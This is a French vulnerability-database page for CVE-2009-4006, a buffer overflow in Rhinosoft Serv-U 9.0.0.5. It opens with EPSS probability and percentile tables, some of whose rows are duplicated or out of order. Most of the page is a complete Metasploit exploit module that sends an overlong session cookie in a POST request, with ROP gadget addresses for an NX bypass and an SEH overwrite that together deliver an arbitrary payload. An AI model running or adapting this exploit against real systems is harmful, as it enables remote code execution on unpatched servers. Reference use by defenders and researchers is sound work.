CVE-2009-4006 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	78.1%	–	–
2023-03-12	–	–	–	94.92%	–
2023-07-16	–	–	–	94.42%	–
2023-08-27	–	–	–	94.49%	–
2024-01-14	–	–	–	94.46%	–
2024-02-25	–	–	–	94.92%	–
2024-04-14	–	–	–	95.39%	–
2024-06-02	–	–	–	95.39%	–
2024-06-30	–	–	–	95.15%	–
2024-09-22	–	–	–	94.69%	–
2024-10-27	–	–	–	93.12%	–
2024-12-22	–	–	–	95%	–
2025-01-12	–	–	–	93.92%	–
2025-02-16	–	–	–	90.23%	–
2025-01-19	–	–	–	93.92%	–
2025-02-16	–	–	–	90.23%	–
2025-03-18	–	–	–	–	79.7%
2025-03-30	–	–	–	–	77.87%
2025-04-13	–	–	–	–	76.03%
2025-04-16	–	–	–	–	77.87%
2025-05-01	–	–	–	–	76.03%
2025-05-04	–	–	–	–	77.87%
2025-05-04	–	–	–	–	77.87,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-07-16	99%
2023-08-27	99%
2024-01-14	99%
2024-02-25	99%
2024-04-14	99%
2024-06-02	99%
2024-06-30	99%
2024-09-22	99%
2024-10-27	99%
2024-12-22	99%
2025-01-12	99%
2025-02-16	99%
2025-01-19	99%
2025-02-16	99%
2025-03-18	99%
2025-03-30	99%
2025-04-13	99%
2025-04-16	99%
2025-05-01	99%
2025-05-04	99%
2025-05-04	99%

## # $Id: servu_session_cookie.rb 8762 2010-03-10 05:58:01Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5. Sending a specially crafted POST request with an overly long session cookie string, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Nikolas Rangos <nikolaos[at]rangos.de>', 'M.Yanagishita <megumi1990[at]gmail.com>', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 8762 $', 'References' => [ [ 'CVE', '2009-4006' ], # unsure [ 'OSVDB', '59772' ], [ 'URL', 'http://rangos.de/ServU-ADV.txt' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a", 'StackAdjustment' => -4096, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2003 SP2 English (NX)', { 'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32 'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll 'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll 'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll 'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll 'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll } ], [ 'Windows 2000 SP4 and XP SP3 English (SEH)', { 'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll } ], ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Nov 1 2009')) register_options( [ Opt::RPORT(80) ], self.class ) end def check connect sock.put("\r\n\r\n") # works res = sock.get(-1,3) disconnect if (res =~ /Server: Serv-U\/9\.0\.0\.5/) return Exploit::CheckCode::Vulnerable elsif (res =~ /Server: Serv-U/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit # hit end of stack.. sploit = Rex::Text.rand_text(1000) * 75 if (target.name =~ /NX/) # new SEH handler (point esp into buffer) sploit[41000,4] = [target['FixESP']].pack('V') # stack frame to bypass NX sploit[52+0,4] = [target['FixESI']].pack('V') sploit[52+4,4] = [0x10200].pack('V') sploit[52+8,4] = [target['FixEBP']].pack('V') sploit[52+12,4] = [target['Ret']].pack('V') sploit[52+16,4] = [target['JmpESP']].pack('V') sploit[52+20,4] = [target['DisableNX']].pack('V') sploit[52+24,2] = "\xeb\x20" sploit[52+40,payload.encoded.length] = payload.encoded else seh = generate_seh_record(target.ret) sploit[40996,seh.length] = seh sploit[41004,payload.encoded.length] = payload.encoded end req = "POST / HTTP/1.1\r\n" req << "Host: #{rhost}:#{rport}\r\n" req << "Cookie: Session=_" req << sploit.unpack('H*')[0] req << "\r\n" req << "\r\n"; connect print_status("Trying target #{target.name}..." % target['Ret']) sock.put(req) select(nil, nil, nil, 1.5) handler disconnect end end